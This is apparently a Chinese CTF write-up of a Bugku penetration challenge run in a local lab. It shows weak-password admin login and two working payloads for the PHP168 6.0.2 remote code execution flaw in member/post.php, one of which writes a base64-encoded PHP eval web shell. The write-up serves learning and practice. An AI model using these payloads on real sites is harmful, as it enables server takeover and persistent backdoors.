写在前面
这两天把s1赛季能做的题都做出来了,然后在本地搭建了一下环境复现一下,这里再次感谢BUGKU里面的Anyyy师傅,直接让我白嫖环境,师傅也是上个赛季的前六名,实力强悍,让我学到很多,有兴趣的可以一起搞,尤其是会pwn的师傅,5月份可能就开始s4赛季了,可以一起冲击一下名次。也希望各位老表多多关注我,给各位老表鞠躬了。。。
正式开搞
打开首页,发现了这个php168,不过不着急,我们先搜集一波信息。
信息搜集
首先扫描一下目录,,发现疑似后台的目录。
访问一下目录,确实是管理后台,且没有验证码,是可以进行暴力破解的,但是这里我是先试了两个弱口令,直接就进去了,弱口令还是yyds的,用户名是admin,密码是123456
进入后台
登录到后台后,就可以找一找文件上传的功能点,看看能不能直接getshell
直接上传一个php文件进行尝试
发现上传失败了,然后简单试了试基本的绕过,发现都不行,应该是白名单,然后我这里发现一个有意思的功能点
我手动添加了php进去,这个和渗透测试1里面的做法差不多,但是发现失败了,依然无法上传。
峰回路转
那看来直接上传木马文件这条路是行不通了,这时候回到咱们最一开始,这个cms是php168,我查了一下,是6.0.2这个版本是有整站远程命令执行漏洞的,这不就来了吗
具体的原理参考:https://lcx.cc/post/1683/(因为我是菜逼,让我讲原理,肯定是不会的)
简单来说就是member/post.php这个文件是能够拼接命令达到执行命令的目的的
测试phpinfo是否能够执行
payload:
member/post.php?only=1&showHtml_Type[bencandy][1]={${phpinfo()}}&aid=1&job=endHTML
直接写入一句话木马
payload:
/member/post.php?only=1&showHtml_Type[bencandy][1]={${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))}}&aid=1&job=endHTML
这个命令会在member目录下成一个密码为c的c.php,命令大家是可以自己DIY的
测试shell是否写成功,如果能够访问且能看到这个1,那就是成功了
连接webshell
这里因为我是本地大家的环境,权限空的比较严格,不能访问根目录,正常做题的话,flag就在根目录里。